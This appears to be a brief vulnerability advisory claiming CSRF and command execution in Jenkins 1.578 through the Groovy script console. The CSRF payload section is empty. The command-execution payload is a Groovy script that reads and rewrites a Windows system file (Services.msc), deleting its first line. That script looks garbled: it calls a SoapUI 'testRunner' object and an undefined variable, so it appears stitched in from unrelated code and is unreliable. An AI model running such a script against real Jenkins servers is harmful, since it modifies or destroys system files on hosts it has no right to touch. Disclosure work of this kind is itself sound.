#Affected Vendor: http://jenkins-ci.org/ #Date: 03/09/2014 #Discovered by: JoeV #Type of vulnerability: CSRF and Command Execution #Tested on: Windows 7 #Version : 1.578 #Description: Jenkins is susceptible to CSRF attack and command execution. Using groovy one can fire any command and get it executed by the script console thus able to access files, registry keys, values and folders which is outbound for Jenkins. #CSRF -------- #Payload:
Command Execution (/script) ------------------------------------- ArrayList pids = null PrintWriter writer = null File f = new File("C:/Windows/System32/Services.msc") if (f.length() > 0){ pids = new ArrayList() f.eachLine { line -> pids.add(line) } println("Item to be removed: " + pids.get(0)) testRunner.testCase.setPropertyValue( "personId", pid ) pids.remove(0) println pids writer = new PrintWriter(f) pids.each { id -> writer.println(id) } writer.close() } else{ println "Null" } -- Regards, *Joel V*